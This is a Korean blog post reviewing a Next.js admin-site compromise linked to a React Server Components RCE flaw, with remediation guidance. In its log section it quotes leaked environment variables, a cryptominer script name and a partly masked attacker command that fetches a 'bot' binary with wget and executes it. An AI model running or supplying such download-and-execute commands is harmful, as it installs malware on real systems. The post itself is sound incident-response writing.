본문으로 건너뛰기

[이슈] Next.js 해킹

[이슈] Next.js 해킹

[이슈] Next.js 해킹

1. 사건 개요와 이 기록의 범위

2025년 12월 8일 Admin 웹 사이트에 접속했을 때 503 오류를 확인했습니다. 당시 작성한 기록에는 비정상적인 NEXT_REDIRECT 오류의 digest에 환경변수 문자열이 나타났고, 외부에서 스크립트와 실행 파일을 다운로드·실행하려는 명령이 반복되었다고 남겼습니다.

이 글은 그 사고 기록을 바탕으로 로그에서 확인할 수 있는 내용과 취약점에 대한 해석을 구분합니다. 아래는 기존 글에 공개되어 있던 마스킹된 발췌입니다. 이번 수정에서 전체 원본 로그, 요청 본문, 당시 배포 이미지와 외부 응답을 새로 확보한 것은 아닙니다. 따라서 개별 공격 요청의 성공 여부, 외부로 전달된 정보의 전체 범위, 정확한 최초 침투 시점을 확정하지 않습니다.

2. 로그 분석 및 공격 양상

환경변수 문자열이 오류에 나타났습니다

기존 발췌의 시각은 UTC(Z) 기준 2025년 12월 7일입니다. 위의 12월 8일은 접속 이상을 확인했다고 기록한 날짜이므로, 두 날짜를 같은 사건 시각으로 합쳐서는 안 됩니다.

TEXT
2025-12-07T09:43:20.102398141Z  ⨯ [Error: NEXT_REDIRECT] {
2025-12-07T09:43:20.102432946Z    digest: 'NODE_VERSION=18.20.8\n' +
2025-12-07T09:43:20.102461756Z      'NEXT_PUBLIC_POINT_SERVICE_API_URL=https://api.서비스.com\n' +
2025-12-07T09:43:20.102472020Z      'NEXT_PUBLIC_SERVICE_API_TOKEN=eyJhbGciOiJIUzI1NiIsIn...\n' + // 민감 정보 유출
2025-12-07T09:43:20.102547875Z      'NODE_ENV=production'
2025-12-07T09:43:20.102550178Z }

위 주석을 포함한 문자열은 기존 글의 발췌이며 주소와 토큰은 이미 마스킹되어 있습니다. 여기서 직접 확인할 수 있는 사실은 환경변수 형태의 문자열이 오류의 digest에 기록되었다는 점입니다. NEXT_REDIRECT 자체가 항상 환경변수를 유출하는 기능이라는 뜻은 아닙니다. 이 로그만으로 공격자가 받은 HTTP 응답이나 AWS 키·DB 접속 정보까지 모두 확인했다고 단정할 수 없습니다.

원래 기록은 AWS 접근 키, 서비스 API 토큰, DB 정보의 노출을 우려했습니다. 대응에서는 노출 가능성이 있는 비밀을 식별하고 교체할 필요가 있지만, 공개된 발췌가 보여 주는 범위와 실제 유출 범위를 구분해야 합니다. 또한 클라이언트에 공개되는 NEXT_PUBLIC_ 설정에 비밀을 넣지 않는 원칙은 이 취약점과 별개로 지켜야 합니다. Next.js 환경변수 문서

다운로드와 실행 명령의 흔적

당시 기록에는 setup_c3pool_miner.sh 다운로드 시도와, 외부 주소에서 bot 파일을 내려받아 실행 권한을 부여하고 실행하려는 패턴이 남아 있습니다. 아래는 기존에 공개한 마스킹된 명령 오류 문자열이며 실행 지침이 아닙니다.

TEXT
Command failed: cd /tmp; wget http://176.117.xxx.xxx/bot; chmod 777 bot; ./bot || ...

기록에는 초기 wget: Operation timed out 실패와 이후 13:03:57에 'bot' saved를 보았다는 설명도 있습니다. 이 시각의 전체 로그와 시간대는 현재 발췌에 없으므로 다른 로그와 정확하게 정렬할 수 없습니다. 다운로드 성공 메시지가 있었다는 당시 관찰과, 그 파일이 실제 실행되어 지속적으로 동작했다는 결론은 서로 다릅니다. 프로세스 실행, 지속성 등록, 외부 통신 여부는 각각 추가 증거가 필요합니다.

3. 취약점 원인: RSC 요청 페이로드 처리 결함

CVE-2025-55182는 React Server Function 엔드포인트로 들어오는 요청 페이로드를 디코딩·역직렬화하는 과정의 결함으로 인증 없는 원격 코드 실행이 가능했던 취약점입니다. React 공식 설명은 이를 힙 오버플로우나 메모리 커럽션으로 설명하지 않습니다. 기존 글에서 그렇게 표현한 부분을 바로잡습니다. React 공식 공지

Next.js의 CVE-2025-66478 공지는 이 React 취약점이 App Router를 쓰는 Next.js 앱에 미치는 영향을 설명합니다. 모든 React 앱이 동일하게 영향받는 것은 아닙니다. React 공식 문서는 서버를 사용하지 않는 React 앱이나 RSC를 지원하는 프레임워크·번들러를 사용하지 않는 앱은 해당 취약점의 영향 대상이 아니라고 구분합니다. 반대로 앱에서 직접 Server Function을 작성하지 않았다는 이유만으로 안전하다고 단정할 수도 없습니다. Next.js 공식 영향 범위

이 사고의 오류 문자열과 명령 실행 흔적은 RCE 가능성을 조사할 강한 단서입니다. 그러나 이 글에 있는 발췌만으로 해당 CVE를 이용한 정확한 요청과 실행 경로가 입증되었다고 쓰지는 않습니다. 그 연결을 확정하려면 당시 설치 버전, 공격 요청, 서버 실행 결과를 함께 대조해야 합니다.

컨테이너의 도구 유무는 별도의 방어 문제입니다

기존 기록은 node:18-alpine을 사용했고 curl은 없어 실패했으나 wget으로 다운로드를 시도할 수 있었다고 설명합니다. 이는 당시 이미지와 로그에 대한 기록입니다. 이번 수정에서는 그 배포 이미지를 복원해 재실행하지 않았습니다.

도구가 적은 이미지는 공격자가 이용할 수 있는 편의 수단을 줄일 수 있습니다. 다만 다운로드 도구가 있었다는 사실을 React 취약점의 원인으로 보거나, 도구를 없애면 RCE가 해결된다고 보면 안 됩니다. 애플리케이션 런타임 자체가 파일·네트워크 기능을 사용할 수 있기 때문입니다.

4. 당시 대응과 지금의 대응 기준

당시 기록한 조치

원래 글에는 Next.js 보안 업데이트를 수행하고 관련 의존성을 점검했다고 기록했습니다. 15.0.5, 15.1.9, 16.0.7은 당시 공지에 있던 수정 버전의 예시입니다. 이 목록만으로 실제 서비스가 어느 버전으로 배포됐는지 알 수는 없습니다. 배포 완료를 검증하려면 잠금 파일과 배포 산출물의 버전이 일치하는지도 확인해야 합니다.

또한 컨테이너 베이스를 Distroless로 교체하기로 결정했다고 기록했습니다. 이는 당시 결정의 기록이며 이 글에서 교체 완료를 입증하지는 않습니다. 일반 Distroless 이미지는 셸과 패키지 관리자를 제외하지만 디버그 이미지 등 변형이 있으므로 실제 선택한 이미지도 확인해야 합니다. Distroless 공식 저장소

현재 적용할 때의 확인 순서

이 부분은 2026년 9월 14일 공식 문서를 다시 확인해 정리한 운영 판단 기준입니다. 과거 사고 때 아래 절차를 모두 수행했다는 뜻은 아닙니다.

  1. 실제로 노출된 앱과 버전을 확인합니다. 저장소의 선언뿐 아니라 잠금 파일, 실행 이미지, App Router/RSC 사용 여부를 대조합니다. 영향받는 앱은 공식 권고에 맞게 패치하고 다시 배포합니다.
  2. 2025년 12월 최초 수정 버전에서 멈추지 않습니다. 후속 서비스 거부와 소스 코드 노출 취약점 공지가 나왔고, React의 최초 공지에 연결된 업데이트 지침도 2026년 1월 26일까지 수정되어 있습니다. 현재 사용하는 릴리스 계열의 지원 상태와 최신 보안 공지를 확인해야 합니다. Next.js 후속 보안 공지
  3. 패치와 재배포 후 비밀을 교체합니다. Next.js 공지는 패치한 앱의 비밀 교체도 권고합니다. 새 비밀을 넣기 전에 취약한 실행 환경을 제거하고, 서비스별로 노출 가능성이 있는 자격증명과 폐기 여부를 확인합니다. 구체적인 교체 완료 여부를 기록해야 “대응 완료”라고 판단할 수 있습니다.
  4. 로그와 잔존 흔적을 따로 조사합니다. 요청, 오류, 프로세스, 파일, 외부 연결을 시간대가 있는 시각으로 연결합니다. 비밀을 로그에 다시 복제하지 않고 필요한 증거를 보존합니다. 기존 기록만으로 확인되지 않는 항목은 미확인으로 남깁니다.
  5. 피해 범위를 줄이는 설정을 검토합니다. 최소 권한 실행, 불필요한 셸·도구 제거, 필요한 대상만 허용하는 외부 연결 정책은 패치와 함께 적용할 방어입니다. 플랫폼의 임시 차단이나 컨테이너 경량화만으로 취약점이 제거되었다고 판단하지 않습니다.

이번 기록에서 가장 유용한 구분은 “명령이 보였다”, “파일을 받았다”, “실행됐다”, “정보가 외부로 나갔다”를 각각 증거로 확인하는 것입니다. 보안 패치를 신속하게 적용하면서도 관찰과 추론을 분리해야 이후 사고 원인과 대응 효과를 다시 검토할 수 있습니다.

[이슈] Next.js 해킹 | Mion Blog